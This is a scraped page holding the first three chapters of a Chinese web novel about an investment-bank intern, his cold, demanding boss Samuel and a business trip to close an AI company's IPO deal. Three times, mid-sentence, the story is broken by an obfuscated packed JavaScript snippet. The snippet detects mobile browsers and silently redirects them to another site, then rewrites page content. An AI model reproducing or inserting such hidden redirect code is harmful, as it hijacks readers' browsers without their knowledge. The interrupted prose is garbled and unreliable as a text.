《冷酷上司是赛博Daddy》 1. 第 1 章 [季然]:你粉丝破100万时是不是穿过女装?会觉得很别扭吗? [江宁]:还好吧,反正都是玩梗,再说我之前也出过女角色。怎么突然这么问?难道想入坑cosplay啦? [季然]:算是吧…… [江宁]:!!!你终于愿意了?我早就说过,你这张脸不玩cos简直暴殄天物!需要什么告诉我,别和我客气。 [季然]:啊啊,好的 但其实季然说了谎,他根本不想玩cosplay,他只是想穿女装而已。 季然没有女装癖,只是最近工作压力太大,他想做一些离经叛道的事情发泄压力。 但是酒吧太乱,飙车危险,刺青又疼,季然当了二十年的乖乖生,一遭叛逆,竟连一件出格的事都做不来。 直到他在网上刷到了一个女装视频,身材细白的男生穿着裙子跳网络热门舞蹈。 [宝宝好美!!好厉害!!!] [谁懂这一口神仙饭的含量!!] [点开视频后,上翘的嘴角就没有下来过] 视频热度很高,评论区全是善意又热情的夸奖。 季然看着这一句句赞美,久久不能回神。 说实话,他很羡慕。他已经记不清,自己有多久没有得到别人的肯定了。 一个多月前,季然拿到了丰盛投行的校招offer,现在正在企业实习。 丰盛是业界顶尖的合资投行,参与了众多知名企业的融资上市,还有股票、财富管理、私募股权等业务,据传公司员工平均年薪过百万。 但高收入也伴随着超高的工作压力,正式员工一天工作十几个小时,手机24小时待机,一年出差300多天是家常便饭。 刚来的那一个月里,季然天天加班到深夜,好不容易终于上手工作,却不料公司又启动轮岗制度,把他派去了别的部门。 和一般的暑期实习生不同,季然是校招走管培生身份进的投行,他们需要在不同部门实习,了解公司各部门运作,然后再正式开始工作。 管培生有个聊天吹水群,通知下来当天,群里兴奋地讨论了几百条消息。 大家分享自己的第二站,也会交换一些岗位需要注意的事项,季然也分享了自己在股权融资部的经验。 [Leo]:对了,Julian你这次去了哪里? [Julian]:董事总经理助理。 Julian是季然的英文名,丰盛成立时沿用了国外投行的MD职级体系,公司内也习惯使用英文名。 [Leo]:你老板确定了吗? [Julian]:不知道,但我是在股权融资部。 [Ayla]:我去,股权融资部的MD,那不就是Samuel吗?可怜的Julian,竟然落到了他的手下。 [Emma]:嘶,有点儿吓人了…… [Leo]:你们怎么这么悲观?Julian我相信你,你一定可以的! [Lucas]:就是,这可是一个进步的好机会,你不去我去! [Julian]:等会儿,你们都知道他? [Lucas]:也就你不知道了吧,那可是Samuel! Samuel,神在聆听,好高高在上的一个名字。 季然不好贸然评价新领导,礼貌地回了个“哦”。 却不料Lucas被他冷冰冰的态度挑衅,竟开始在群里罗列自己偶像的优秀事迹。 Samuel中文名叫寒深,爷爷是某世界500强董事长,亦是丰盛投行的大股东。 然而比500强家庭出生更耀眼的,是寒深那金光闪闪的个人履历。16岁进入哈佛商学院,23岁经济学博士毕业,此后进入丰盛总部一路过关斩将,年仅30岁就成为了MD。 [Lucas]:你们知道一个30岁MD的含金量吗?!!投行里不乏关系户,但靠关系最多只能混个VP(副总裁),不可能做到董事总经理这样的职位。普通人光是升到VP都要四五年,可VP之上还有总监,执行总经理,最后才是董事总经理。这中间的每一次晋升,都是一项项扎实的业绩堆出来的! [Leo]:啊,就是培训时说的那个案例吧?太过分了,简直优秀得令人发指。 [Lucas]:不止是股权融资,而且他投资能力也非常出众,之前在分公司管理的基金年收益超过了12%,他甚至还在丰盛研究院做经济分析的研究,陆续发表了好多篇论文,听说连高校都在请他去当客座教授。 [Ayla]:这些谁不知道?Samuel确实很优秀,但他人也非常严厉,过去一个月换了两个助理,轮岗的实习生呆了一周就哭着离职了。 [Julian]:啊?哭着离职? [Ayla]:具体情况我不好细说,反正你自求多福吧。 季然忽然想起上司通知他这件事的表情,欲言又止,一言难尽。但最后,上司只是拍了拍他肩膀,叹着气说:“我相信你的能力,唉,你自求多福吧。” 还没见到老板本人,季然心中已经涌出一股深深的不安。 直到他正式上任,这种不安化为实质,迅速填满了他的身体。 和寒深的第一次见面是在部门会议上,会议前夕,原本带季然的上司助理突然情绪崩溃,提出离职,剩下季然和总助面面相觑。 半分钟后,总助Asher塞了份招股书到季然手里,说:“很抱歉你刚来就让你做这种事,但是你上司在5分钟前离职了,所以这次你来做报告吧。” 季然:啊? 距离会议还有半个小时,季然拿着一份几百页的招股书,心中萌生出了淡淡的死意。 此时他终于知道,为什么之前的助理和实习生都干不长了,轮岗第一天就遇到这种事,放他身上他也想离职。 可惜他没有肆意离职的资本,季然深吸一口气,安慰自己轮岗只是暂时的,只要熬过这两个月,他就可以摆脱这个可怕的环境了。 季然迅速浏览起了招股书,挑主要的部分记在心里。 与会人员陆续落座,会议很快开始。开会的地方是一个圆桌会议室,季然是个实习生,按理说压根儿上不了桌,可现在他上司撂挑子不干了,季然被赶鸭子上架,也跟着坐上了圆桌。 总助Asher推开会议室大门,原本小声交谈的声音停止了,人们表情肃穆地端坐,季然仿佛察觉到了什么,也跟着抬起头—— 一个高大英俊的男人走了进来,他穿着一套黑色高定西装,气质冷峻又优雅,好看得有些过分了。 这……就是寒深? 和季然想象中的凶悍不同,寒深五官斯文俊美,气质矜贵,一点也看不出传言中的恐怖模样。 会议开始,寒深落座主位后发言,他声音也很好听,音调不高不低,磁性又优雅。 说话时他双手搁在桌上露出半截腕骨,手指修长,带着恰好好处的红晕和青筋,像是季然经常会在网上刷到的擦边博主。 这就是他的新上司吗?好看得几乎令人不敢直视,季然红着脸低下了头。 “Julian,”有人小声在耳边提醒他,“快到你报告了。” 季然点点头,迅速在心里打了一遍腹稿。 会议是总助Asher主持,他起身说:“因为一些原因,股权融资部助理Jim暂时不能参加会议,现由管培生Julian代为介绍项目进度。” 季然抬头看了眼寒深,后者目光却投向幻灯片,并没有看他,似乎对这种事已经习以为常。 季然突然紧张起来,实际上他并不擅长在公开场合发言,但箭在弦上不得不发,季然深吸一口气,硬着头皮站起来介绍项目。 半个小时根本来不及他熟悉项目,但好在还有PPT,季然一边回忆关键信息,一边对着PPT做参考,报告虽然不算优秀,但也勉强没有出错。 “我的报告就到这里,谢谢大家。” 季然朝着人群鞠了一躬,再次直起腰时,主位的男人突然抬眼看向他。 四目相对, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732681|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季然心脏跟着跳漏了一拍。 “你叫Julian?”这是寒深对他说的第一句话。 季然:“是的。” “Julian,”男人俊美的眼睛看向他,嗓音磁性又优雅,“下次再做这种垃圾报告,自己去提离职。” 季然呆呆愣在原地,脸颊轰地一下烧了起来。 · “Samuel,我都介绍了Julian是实习生,这次报告是因为Jim缺席才让他临时顶上,你就不能把你的脾气收一收吗?”会议结束,季然听见Asher埋怨的声音。 “我不管什么原因,我也不在乎他是不是实习生,”寒深语气凌冽而冰冷,“我只知道我身边不需要废物。” 垃圾,废物。 直到现在季然终于知道,为什么他的前任们都那么快就情绪崩溃了。 “你都听到啦?”一道温和的声音响起,季然对上了一双碧绿的眼睛。 Asher是中意混血儿,有着一头卷曲的头发,碧绿的眼睛,他中文也说得非常好,还有一个很好听的中文名字——苏词。 据说他是寒深同学,很早以前就在海外和寒深一起做事了。和寒深的冷酷毒舌不同,Asher性格非常温和。 “刚才那些话你别放在心上,Samuel他不是故意针对你,他性格就是这样,对别人严格,对自己更是严格。”Asher握着季然的手,语气充满了愧疚,“真的,他只是看起来凶,但你和他熟悉了就会发现,他人其实还挺好的。” “……” 季然抽了抽嘴角,没有反驳对方,反正他的看法也无关紧要。 Asher似乎很怕他离职,又继续说道:“退一万步说,Samuel他就算性格很差,但能力绝对拔尖,跟着他你能学到很多东西。” 季然看了他几秒,说:“我没打算离职。” Asher这才松了口气,如释重负地笑了起来:“那就好,我真怕你也走了。” 季然倒是想离职,但他没这个资本。 别人离职是有家庭兜底,但季然还要上交工资,丰盛投行工资业界顶尖,是他目前最好的出路了。 见季然诚心留下,Asher又交代道:“你刚才也看到了,你上司离职了,我一时半会儿也找不到新人,听说你业务能力很突出,就暂时由你顶替他的工作吧。” 于是,季然的噩梦开始了。 寒深是一个很难搞的上司,除了他冷酷毒舌的态度外,还有他那非人的工作精力。投行员工工作十几个小时是常态,但寒深显然不止,他仿佛直接进化掉了睡眠,是那种通宵加班第二天还能运动一小时再洗个澡神清气爽来公司的变态精英。 然而真正让季然崩溃的,是他那高到严苛的工作要求,以及不容许任何错误的工作态度。 季然每一项任务都用了十二分精力,却没有一次能让寒深完全满意。 不行。 再改。 重做。 一次次被打回,一次次被否定,不管什么工作都完全没有正反馈,季然原本就不多的自信迅速被消耗殆尽。 那段时间里,季然每天几乎只能睡5个小时,一睁眼就是工作,没有任何自己的时间。 可哪怕如此,他依旧不能让上司满意。 钱难挣,屎难吃。 他无数次想要放弃,又不得不咬牙坚持了下来。就像是被惩罚的西西弗斯,他一遍又一遍地推着石头,可不管他多努力往上推,石头最终还是会重新滚下去。 这样的工作真的还有意义吗? 在季然又一次想要离职时,他终于醒悟过来:不行,不能继续这样下去了。 再憋下去他真的要疯了,他和寒深总有一个要先死。 他开始渴望发泄压力,他需要一件安全、私密、叛逆、还能恰到好处让他获得认同感的事情。 于是,女装变得顺理其章起来。 季然没有过多犹豫,当上司新的工作命令发来时,他在淘宝下单了一套JK制服裙。 2. 第 2 章 季然学校在京市,异地实习只能租房。沪市寸土寸金,市中心合租一室也要四五千,季然负担不起,退而求其次选了郊区地铁沿线的房子。 小区距离公司地铁一个小时,虽然距离远但好在不用换乘,通勤不至于太痛苦。 但因为临近地铁站,小区里有很多打工人,快递柜常年爆满,季然每天早出晚归,送货上门收不到,又赶不上菜鸟驿站开放时间,只能把快递寄到公司。 衣服是第三天上午到的,寄到了公司收发室。 趁着大老板还没来,季然赶紧去收发室取了快递。 他买的一家口碑还可以的原创jk制服,本打算拿回家再拆,不料纸盒外面竟然写着店铺名称,快递单上还有他收货名字和手机尾号。 季然:“……” 有点儿社死了。 还好早上收发室人不多,季然躲在角落偷偷撕快递单,意图把个人信息毁尸灭迹。 可惜快递单粘得比热恋中的情侣还要牢,季然抠了好一会儿都没能扒拉下来。 当他终于掀起一角时,身后突然传来一道声音:“季然,你也来取快递?” “啊?”季然有些慌乱地抬头,手下一用力,又失败了,他大名和手机尾号还牢牢印在盒子上。 季然:“……” 靠,想骂脏话了。 和他搭话的是是寒深的生活助理陆可,长相亲切,脾气也很好。当然,脾气不好的人在寒深手下也干不久。 好在陆可不是八卦的人,季然把快递盒翻了个面说是,没有露馅儿。 陆可是来帮寒深取快递的,他向工作人员报取件码,季然低头继续扣快递单。 等他消灭个人信息,陆可正好抱着包裹出来,陆可急着接电话,季然帮他扶了一把摇摇欲坠的快递盒。 陆可感激地看了季然一眼,又对电话那头说:“收到,是,好的,我明白了。” 随后陆可表情严肃地挂断电话,又对季然说:“可以帮我个忙吗?” “可以啊,”季然问,“要我做什么?” 陆可说:“Samuel来了,我要去门口接他,你能帮我把快递拿上去吗?” 这也不是什么大事,季然伸手把快递抱进怀里,有些好奇:“老板不是去M国出差,现在已经回来了?” 陆可压低声音,小声道:“听说合成智能的项目出了问题,老板连夜赶了回来。” 季然知道一些项目情况,合成智能是国内头部人工智能公司,掌握了多项专利,目前正在准备上市。 寒深代表丰盛在一众投行中杀出重围,成功拿下了这一项目。对比季然倒不是很意外,毕竟按照他们老板这个臭脾气,不是业务能力超强,估计也稳不住这个位置。 寒深拿下项目后就去国外出差,现在急急忙忙赶回来,也不知项目出了什么问题。季然不敢闲聊,告别陆可往电梯走去。 早高峰花了点儿时间,等季然回到办公室总助Asher已经到了,见状立刻起身对他说:“五分钟后有个紧急会议,陆可在楼下接老板,你跟我一起布置会议室。” 季然点头:“我放了东西就过来。” Asher扫了快递盒一眼,干脆道:“东西先放我桌上,会议马上就要开始了。” 季然只得把东西放在Asher桌上,连忙跟过去布置会议室。 2分钟后,Asher抬手看了眼时间说:“Samuel已经到公司了,我去准备会议资料,你把电脑接入投影屏。” 又过了两分钟,季然刚调试完设备,会议室大门被人推开,寒深走了进来。 他今天穿了套深灰色戗驳领西装,羊毛斜纹,很正式的双排扣,马甲领带一样不缺,让他原本就冷漠的面庞越显严肃,像是一座巍峨的雪山,散发着一股不容置疑的威严。 季然低下头默默退到一旁,替今天开会的人捏了把汗。 很快,各部门主管面色沉郁地走了进来,没人说话,偌大的房间里只剩下椅子滚轮划过地毯的沉闷声,连空气都仿佛结了冰。 季然不想挨骂,布置完会议室准备偷溜,寒深却抬眸看了他一眼。 季然:“……?” 这个项目没他的事吧? 短暂的愣怔,一旁的Asher伸手抓住他手腕,季然一屁股跌坐在了空椅子里。 寒深这才收回目光,冷声道:“合成智能是怎么回事?我收到消息说负责人要暂缓项目。” 股权融资部VP、合成智能上市项目的负责人赵芷姗说:“上次双方会谈已经确认了合作意向,当时他们的说辞是合成智能方有一位创始人在外地,需要推迟签约。不料在你出国后,金石投行秘密接触了合成智能高管。我们也是昨天找他们高管要财务数据时才发现,负责人说要么我们和金石投行联合承销,要么只留下金石投行一家。” 此话一出,满室寂静。 金石投行这种行为,就像是恋爱中横刀夺爱的渣男,抢走了他们对象不说,还要反过来扇原配两耳光。 寒深一向自视甚高,怎么能容忍这种事情? 季然抬头看向寒深,他以为对方会暴躁如雷,寒深却表情如常,声音冷静道:“知道合成智能反悔的原因吗?” “查到了,”赵芷姗说,“听说是那位出差的创始人和金石高管有亲属关系。” 寒深发出一声冷哼。 他这一笑,让房间里本就不高的气温又低了两度。 但会议还得继续,过了几秒,另一位副总裁又问:“那现在怎么办?要和金石投行联合承销吗?” “不会,”寒深垂眸,冷眼道,“这个项目只能属于丰盛。” 笃定的语气仿佛一根定海神针,让焦躁的众人逐渐冷静了下来,连季然都跟着松了口气。 赵芷姗坐直身体,语气多了几分气势:“那现在需要我们做什么?” “你们继续推进项目,我去京市找合成智能创始人。”寒深说完就起身离开了会议室。 今天有雨,担心航班误点,生活助理帮他订了最近的一趟高铁。随后,Asher又进来提醒他今天下午还有投资人会面。 “你替我参加,”寒深说,“再叫上资产管理部的副总裁Lumi。” Asher点头说好,又问:“那去合成智能你想让谁跟着?” 寒深随口报了个名字:“Aaden。” 是他上一位工作助理,职位没有Asher高,主要是替他处理一些股权融资部的项目工作。 Asher表情有些一言难尽:“人家都离职一周了。” 寒深疑惑:“为什么离职?” “你真是……”Asher揉了揉脑袋,一脸无语,“除了受不了你还有什么原因?” 寒深不置可否,继续道:“那让新助理跟我一起。” “还没招到人呢,”Asher摇头,“现在只有一个轮岗过来的实习生。” 寒深:“那就实习生。” Asher:“你认真的?” 寒深:“不然我在开玩笑?” “也行吧,”Asher顿了顿又说,“但如果可以,你尽量别对Julian那么苛刻。” 寒深停下工作,抬起了头:“我对人很苛刻吗?” Asher翻了个白眼,无语道:“是,你只是在人家新婚夜半夜三点,还把人叫起来给你改方案而已。” “因为他工作出现了失误,”寒深不觉得自己哪里有问题,“今日事今日毕,这是工作的基本准则。” Asher:“……” 话虽如此,但那可是人家的新婚之夜! “你怎么突然关心起实习生了?”寒深看了他一眼,“你们关系很好?” “谈不上,”Asher摇头,“只是这孩子工作认真踏实,态度也很端正,你别看人家脾气好就一直欺负他。” “我没那么无聊,倒是你,”寒深挑眉,“你在替他打感情牌?” Asher:“我只想让你有一点微不足道的同理心。” 寒深:“你有这种闲心,还不如祈祷他有一点微不足道的工作能力。” Asher无语凝噎:“你可真是——” 门外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732682|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得知大老板出差的季然终于松了口气。他动作轻快地打开电脑,开始了每日一次的行业分析。 做到一半又想起来自己快递还在Asher那里,他走到Asher工位一看,上面却空空荡荡,什么东西都没有。 等等,他的快递呢? 正好Asher从办公室出来,季然礼貌询问:“Asher,请问我之前放在你这里的快递去哪里了?” “Luke取走了,”Asher说完又告诉他,“你先别走,我正好有事通知你。老板等会儿要去京市,你收拾一下,马上陪他出门。” 季然几乎是本能地拒绝:“可是我很多事情都不懂……” “出差而已,又不是让你上刀山下火海,”Asher拍了拍他肩膀,语气平静道,“也不是多难的事,就跟在Samuel身边负责一些工作。主要是我走不开,别的助理又不熟悉工作内容。” 季然:“可我只是一个实习生……” “实习生又怎么啦?别妄自菲薄。”Asher笑了起来,“你来丰盛这两个月的成长大家有目共睹,昨天我见到你之前的领导,他还在夸你工作能力强呢。相信我,你这么聪明,肯定可以完成任务。” Asher说他聪明,说他的成长有目共睹,说他肯定可以完成任务。 季然被夸得脑袋轻飘飘的,等他反应过来,他已经点了头。 “那就这么定了,”Asher瞬间高兴起来,仿佛怕他返回一样,又马不停蹄地说,“你把身份信息发给Luke,他帮你定票。” 季然:“哦……” 虽然有些意外,但出差这件事就这样定了下来。但在出差之前,季然还得拿回他的快递。 季然把身份信息发给陆可,又询问了自己包裹去向。 [Luke]:不好意思啊,我不知道那是你的,我等会儿给你送过来。 [Julian]:谢谢你。 [Luke]:是我弄错了,该我向你道歉。对了,高铁票已经给你订好了,你看有没有收到信息。 [Julian]:嗯嗯,收到了。 季然还是第一次出这么急的差,他刚收拾好东西,Asher又通知他去寒深办公室。季然以为寒深要和他交代工作,还绞尽脑汁地回忆着刚才会议上的情形。 一门之隔的办公室,陆可拎着一个20寸行李箱站在寒深面前:“行李收拾好了,我现在去联系司机?” “嗯。”寒深合上笔记本电脑,起身取下西装外套,然后看了眼旁边的置物架。 寒深几乎每天都会收到别人寄来的快递,董事会高管的福利、合作方的产品、企业高校的周边、还有各种商业论坛的邀请函……当然,也有一小部分来自亲朋好友,以及他自己下单购买的私人物品。 这些物品由生活助理整理陈列,等寒深有空才进行分类放置。 以往的物品都很正常,唯一让寒深意外的是,这次置物架上竟然还有一套JK制服。 粉嫩的格纹图案,青春靓丽,又十分违和。 寒深看了眼裙子:“这是谁寄的?” 陆可有些不好意思:“这是Julian的,我不小心拿错了。” Julian?寒深眯起眼睛,他记得Julian是男生? “咚咚咚——” 恰好门外传来三声敲门声,男生礼貌的声音响起:“我是Julian,老板您找我?” 寒深:“进来。” 门被推开一个缝,一个清秀的男孩儿走了进来。 这是寒深第一次正眼打量这位实习生,说实话,他长得有些过分漂亮了。五官精致,肤色白皙,性格温和但并不怯懦,是那种典型的出生自中产家庭,被全家托举、自己也很争气的乖学生。 “老板,您找我?”男孩儿开口和他说话,发音标准、声音清脆,看起来很有礼貌。 “嗯,”寒深走到置物架旁边,指着上面的一条裙子说,“这是你的裙子?” 啊……? 季然目瞪口呆地看着这一幕,感到了一股扑面而来的窒息。 3. 第 3 章 要疯了,裙子怎么跑到寒深这里来了?他能假装不认识吗? 季然面红耳赤地站在原地,光是被寒深注视,就窘迫得无地自容起来。就仿佛被一只大手按住胸膛,不管他多用力呼吸都无法吸入氧气。 一定会被骂吧?说不定还会被嘲笑,甚至是被当成变态。 “对不起”三个字已经到了季然嘴边,寒深却放下了裙子,仿佛什么事情都没有发生一般,说:“走了。” 啊,他没有追究? 谢天谢地。 季然松了一口气,连忙拿起裙子追了出去。 “不好意思啊,我没注意那是你的,不小心拆了快递。”陆可跟着他走到门口,笑着说道,“是给女朋友买的裙子吗?很可爱。” 女朋友,原来这才是正常人看见男生买裙子的第一反应! 虽然季然并没有女朋友,但还是很轻地嗯了一声。 陆可以为他是害怕第一次和老板出差,还主动安慰道:“别紧张,老板只是看起来吓人,其实很好说话的。” 季然挤出一个尴尬的笑。 “告诉你一个秘密,”陆可凑到他耳边说,“如果Samuel骂你,你就在他面前哭,哭得越伤心越好。” “啊?”季然有些难以置信,“老板竟然吃这一套?” “不吃,”陆可说,“但哭出来能让你好受一点。” 季然:“……” 因为陆可这一番话,季然变得更加紧张了。 其实季然也不太明白,他人虽然内向但并不社恐,经过大学四年的锻炼,也能胜任职场交流。 之前的实习都没问题,但不知为什么,一遇见寒深他就会感到恐惧,本能地想要逃离。 就比如现在,去机场的车上只有他和寒深二人,哪怕他们中间隔了一个扶手,季然还是能明显地感受到寒深带来的压迫感。 空气中弥漫着紧张的气息,季然低头看着自己膝盖,双手不安地握成拳头。 寒深陆续打了好几个电话,似乎情况都不太好,最后一个电话挂断,寒深脸色也跟着沉了下来。 窗外大雨滂沱,压力在无形中发酵。 季然张了张嘴,试着询问:“Samuel,有什么我能做的吗?” 轿车进入高架桥下的十字路口,在红灯前方停了下来。头顶的高架桥隔绝了大雨,让季然的声音清晰地传进了寒深耳中。 季然似乎有些怕他,嗓音还带着细微的颤抖,却又敢鼓起勇气向他搭话。乖巧、听话又勇敢,仿佛愿意做到他吩咐的任何事。 寒深说:“没有。” “哦。”季然点点头,也分不清是松了口气还是失落。 他只是个普通的实习生,在这种紧要关头确实帮不上什么忙。 但既然都来出差了,他也不想真的一无所知,季然在路上看起了项目资料。 高铁车厢有些吵,但季然并没有受到打扰,他一页页看过去,很快就专注其中。 季然是个留守儿童,小时候和外公外婆一起在乡下生活,周围几乎没有同龄孩子。 身边没有小伙伴儿,老人也不怎么让他看电视,季然唯一消磨时间的方法就是看书,经常一看就是一整天。 或许是因为这个原因,季然成绩相当不错,从普通初中考上重点高中,后来又进入了一所TOP2大学。 进入丰盛是他深思熟虑的结果,这里报酬高专业也对口,他找不到比这更好的工作了。本来他是这么以为的,但自从成为寒深手下后,季然却变得越来越不自信,开始怀疑当初的决定是否正确。 这些年来投行都喜欢招复合型人才,既要人家有金融背景,又要有相关行业知识,医疗、AI、智能汽车这些高精尖领域尤甚。 季然虽然学校是TOP2,但他只有本科学历,同届入职的管培生都是研究生、博士生,还有海外留学背景。这让季然压力很大,几乎一刻也不敢松懈。 合成智能的资料他看得很认真,可涉及人工智能的专业性太高,他查了好多资料也云里雾里。 季然开始陷入焦躁,同时涌现出一股深深的无力感。 这种无力感在他们抵达京市后被迅速放大,因为寒深和合成智能高管谈话时并未带上他。这虽然在季然预料之内,但当他真正被留在门外时,还是不由得失落起来。 不知过了多久,季然听见隔壁传来开门声和脚步声。 结束了? 季然连忙站了起来:“老板,您……” 寒深身后还有几个中年男人,似乎是企业方高管,季然下意识止住了话头。 寒深看了他一眼,没什么表情地说:“先离开。” 季然点点头,一路小跑跟了上去。他渴望得知商讨结果,寒深却没说情况如何,只告诉他晚上还有一个饭局。 这让季然再次陷入焦躁之中。 不知道别的实习生会不会这样,但季然无法摆脱这种状态。工作太多固然令人感到压力,但如果领导不给他安排工作,他反而不知所措了起来,开始怀疑是不是自己做错了什么。 他需要被安排,被肯定,以此找到自己在工作上的价值。 “会喝酒吗?”去餐厅的路上,寒深突然问他。 “不会。”季然下意识摇头。 寒深点点头,没再说话。 季然又懊恼起来,有些紧张地补充:“但我可以学。” 寒深垂眸看了他一眼,似乎想说什么,却被手机铃声打断了。 “是的,我现在人在京市,”电话接通那一刻寒深表情明显变了,因为过于恭敬而显得紧绷不自然,季然听见他对电话那头说,“谢谢您,但我这边可以解决,不用您出面爷爷。” 电话持续时间很短,但有什么东西明显不一样了。 季然下意识放轻脚步,连呼吸都变得小心翼翼起来。 寒深这才看了他一眼,说:“不用。” 季然愣了下,意识到寒深是在回答他刚才那个问题。 他说他可以学喝酒,但寒深说不用。 季然还想说些什么,对上寒深的脸又沉默了下来。老板心情不好,现在不是说话的好时机。 而且季然也想象不到寒深喝酒赔笑、和客户虚与委蛇的样子。寒深这样的天之骄子,明明应该意气风发,不可一世。 饭局的气氛算不上多好,但寒深邀请了京大量子信息中心主要负责人屈贡院长,他所负责的研究项目,一直是合成智能渴望合作的对象。 听着大家在饭局上的谈话,合作似乎有所转机。 但哪怕如此,寒深依旧喝了很多酒,季然端着酒杯屡次想要替老板挡酒,却怎么也找不到适合的时机。 直到话题从工作变成日常,推杯换盏间,服务员过来上主食,饭局快要结束了。 季然起身准备离席买单,刚站起来,旁边合成智能的员工就端了杯酒过来,笑着说:“小季是吧?真是年轻有为啊,来来来,我敬你一杯。” 季然犹豫了两秒,便用分酒器给自己到了酒,还没来得及喝下,眼前突然落下一片阴影。 寒深拿走他手里的酒杯,身体侧挡在他面前说:“小孩儿不会喝酒,我陪李总喝。” 温热的指尖一触即离,季然怔怔愣在原地,大脑有一瞬的空白。 小孩儿…… 寒深替他挡酒,还叫他小孩儿。 季然尴尬得满脸通红,又有一种难以言喻的澎湃。 他张嘴想要反驳,寒深却已经陪李总喝完了一杯,又转过头塞了张银行卡到他手里,交代道:“去买单。” 男人偏高的体温烘烤着他,高大的身躯仿佛小山一样笼罩下来,季然被熏得双颊发烫,晕乎乎地拿着银行卡出了包厢。 他在前台刷了一笔巨款,又退到一旁等收银员开发票,目光四处闲逛,意外看到了马路对面有一家便利店。 5分钟后,季然西装胀鼓鼓地回到了包厢。 李总还在缠着寒深喝酒,又让他两个手下也来敬酒。 寒深端着酒杯坐在一旁,他已经喝了不少酒,后背却依旧笔直,看不出一丝醉态。餐厅顶灯从头顶落下,在寒深眉骨下方形成一道深深的阴影,让他情绪越发深不可测。 李总让手下小兵和寒深碰杯,“铛”的一声脆响,寒深掀起眼皮扫了眼来人,举起酒杯的动作带着一股冷倦。 他身体不舒服了吗? 但这种情绪转瞬即逝,寒深就扬起下巴,喉结滑动,再次咽下了杯里的液体。 季然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732683|145072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢饭局,也很讨厌酒桌文化,但当他站在这里看着寒深应酬时,心头又涌出了一股复杂的情绪。 寒深酒量不算多好,连续喝了这么多已经有些上头,思绪也变得缓慢了许多。 李总是金石投行高管的亲属,当初投标时就开始虎视眈眈,好不容易说服公司把项目给金石投行,没想到现在又被他拿了回来。 丢了这么大一个项目,是打定主意不让寒深好过。 其实也可以拒绝,这一项目已经拿下,对方再讨厌也无法改变现状。 但中标只是第一步,企业IPO流程漫长而复杂,需要企业和投行密切配合。寒深如果不疏通全部高管,执行项目时,手下会遇到许多没必要的困难。 寒深喝完这杯酒,李总又说了一串恭维的话,顺势添满他的酒杯。 白酒映衬着头顶的顶灯,在酒杯里荡出一圈银光。 寒深举起右手,嘴唇刚碰到酒杯边缘,一只颤抖的手突然出现在他眼前,拿走了他手里的酒杯。 寒深表情微怔,抬眼对上了季然紧绷的脸。 面前男生似乎很不习惯这种场合,这一套动作做得生疏又僵硬,却鼓足了勇气说:“李总,我陪您喝。” 寒深伸手要拿回酒杯,季然却仰头把酒一饮而尽。 腥辣顺着喉咙直冲脑门,整个食道都火辣辣的疼,像是要烧起来一般。 季然看不到自己的脸,但一定红得可怕。 究竟是谁在吹茅台?他觉得白酒难喝死了。 季然放下酒杯,又用分酒器给自己倒满,面不改色道:“李总,我敬您,接下来工作还要麻烦你们了。” 李总嘴角抽了抽,挤出一个假笑:“好说,我们一定积极配合,也辛苦丰盛的各位了。” 季然压低酒杯和对方碰了下,刚收回手,就被寒深夺走酒杯。 季然还想说些什么,寒深却放下酒杯,说:“散了吧。” 李总不乐意,又给季然添了一杯:“我和小朋友一见如故,再来!” 寒深却不再给他面子,转身对屈贡说:“屈老师,已经十点了,再晚回家师母要担心您了。” “都这么晚了?”屈贡看了眼时间,惊讶道,“行行,那我们先走了。” 寒深:“我送您。” “不用,”屈贡摆手道,“我学生送我,你去忙吧。” 人员陆续散去,最后包厢里只剩下季然和寒深。 直到现在,一丝不苟的寒深终于露出了些许疲态。他身体斜倚着门框,神情松懈,没了平日里高高在上的冷淡,多出了几分真实感。 季然检查完房间,确定没有私人物品遗落,转身朝着门口走去。他头有些晕,脚下也轻飘飘的,走起路来左摇右晃,像是一只小鸭子。 “不是不能喝么?”一道低沉的嗓音响起。 季然反应了四五秒,才意识到寒深在和他说话,他回答道:“我说了我可以学。” 语气里带着自己都没有意识到的固执。 寒深目光落了下来,季然以为他要说什么,后者却移开目光,淡然道:“走了。” 季然抬脚追上去,直到西装口袋沉沉往下坠,他这才意识到自己兜里还有东西。季然掏出一瓶牛奶递过去:“您喝点儿暖暖胃。” 寒深看了他一眼:“哪儿来的?” “结账时在门口便利店买的,”季然说完,又补充,“您今晚喝了不少酒,喝点热牛奶应该会好受一些。” 寒深伸手接过,拧开瓶盖后却还了回来。 季然愣了愣,还没反应过来是怎么一回事,寒深直接把奶瓶递到了他唇边。 “唔……” 季然猝不及防被塞了满口,因为来不及吞咽,多余的液体从他唇边溢出,又顺着唇角往衣领内侧滑去…… “擦一擦。” 